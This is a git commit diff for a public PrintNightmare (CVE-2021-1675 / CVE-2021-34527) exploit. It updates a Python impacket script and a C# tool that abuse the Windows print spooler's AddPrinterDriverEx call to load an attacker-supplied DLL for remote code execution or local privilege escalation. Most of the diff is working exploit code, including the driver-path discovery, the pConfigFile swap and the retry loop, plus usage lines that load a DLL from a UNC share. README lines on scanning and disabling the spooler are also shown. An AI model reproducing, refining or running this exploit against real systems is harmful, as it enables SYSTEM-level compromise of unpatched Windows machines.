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C# success rate and PoC improvement

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
pull/25/merge
cube0x0 11 months ago
parent
commit
2180daa238
  1. 60
      CVE-2021-1675.py
  2. 8
      README.md
  3. BIN
      SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
  4. 4
      SharpPrintNightmare/README.md
  5. BIN
      SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
  6. 16
      SharpPrintNightmare/SharpPrintNightmare/Program.cs

60
CVE-2021-1675.py

@ -5,7 +5,6 @@ from impacket.dcerpc.v5.dtypes import NULL @@ -5,7 +5,6 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import time
import pathlib
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
@ -67,23 +66,7 @@ def getDrivers(dce, handle=NULL): @@ -67,23 +66,7 @@ def getDrivers(dce, handle=NULL):
return blob
def main(username, password, domain, lmhash, nthash, address, port, share):
#connect
dce = connect(username, password, domain, lmhash, nthash, address, port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
print("[+] pDriverPath Found {0}".format(pDriverPath))
def main(dce, pDriverPath, share):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
@ -93,14 +76,15 @@ def main(username, password, domain, lmhash, nthash, address, port, share): @@ -93,14 +76,15 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
print("[*] Executing {0}".format(share))
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
@ -118,9 +102,11 @@ if __name__ == '__main__': @@ -118,9 +102,11 @@ if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('connection')
@ -161,12 +147,34 @@ Example; @@ -161,12 +147,34 @@ Example;
lmhash = ''
nthash = ''
#connect
dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
if not options.pDriverPath:
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "filerepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually")
sys.exit(1)
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
else:
pDriverPath = options.pDriverPath
print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share))
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
main(dce, pDriverPath, options.share)
print("[*] Try 2...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
main(dce, pDriverPath,options.share)
print("[*] Try 3...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
main(dce, pDriverPath,options.share)

8
README.md

@ -1,4 +1,4 @@ @@ -1,4 +1,4 @@
# CVE-2021-1675
# CVE-2021-1675 / CVE-2021-34527
Impacket implementation of the [PrintNightmare ](https://github.com/afwu/PrintNightmare) PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
@ -86,9 +86,9 @@ REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_ @@ -86,9 +86,9 @@ REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_
### Scanning
We can use `rpcdump.py` from impacket to scan for vulnerable hosts, if it returns a value, it's vulnerable
We can use `rpcdump.py` from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
```
```bash
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
@ -100,7 +100,7 @@ Disable Spooler service @@ -100,7 +100,7 @@ Disable Spooler service
```powershell
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
```
Or Uninstall Print-Services

BIN
SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo

Binary file not shown.

4
SharpPrintNightmare/README.md

@ -1,7 +1,9 @@ @@ -1,7 +1,9 @@
# C# Implementation of CVE-2021-1675
# C# Implementation of CVE-2021-1675 / CVE-2021-34527
### Usage
The RCE functionality might need to be executed with local administrator privileges on YOUR machine.
```
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

BIN
SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo

Binary file not shown.

16
SharpPrintNightmare/SharpPrintNightmare/Program.cs

@ -82,13 +82,17 @@ namespace SharpPrintNightmare @@ -82,13 +82,17 @@ namespace SharpPrintNightmare
break;
}
}
//lucky shot
//could not find driver path
if (pDriverPath == "")
{
pDriverPath = drivers[0].pDriverPath;
Console.WriteLine($"[-] [-] pDriverPath {pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....");
Console.WriteLine($"[-] Specify pDriverPath manually");
Environment.Exit(1);
}
pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL";
}
Console.WriteLine($"[*] pDriverPath {pDriverPath}");
Console.WriteLine($"[*] Executing {dllpath}");
if (args.Length > 2)
{
path = args[2];
@ -117,13 +121,11 @@ namespace SharpPrintNightmare @@ -117,13 +121,11 @@ namespace SharpPrintNightmare
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
Console.WriteLine($"[*] pDriverPath {pDriverPath}");
Console.WriteLine($"[*] Executing {dllpath}");
//DRIVER_INFO_2 Level2 = drivers[0]; // debug
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
Level2.cVersion = 3;
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp
Level2.pDataFile = dllpath;
Level2.pDriverPath = pDriverPath;
Level2.pEnvironment = "Windows x64";
@ -141,6 +143,8 @@ namespace SharpPrintNightmare @@ -141,6 +143,8 @@ namespace SharpPrintNightmare
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
Marshal.FreeHGlobal(pnt);
//Specify a dll that does not exists in C:\\Windows\\System32\\spool\\drivers\\x64\\3\\
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
for (int i = 1; i <= 30; i++)
{
//add path to our exploit

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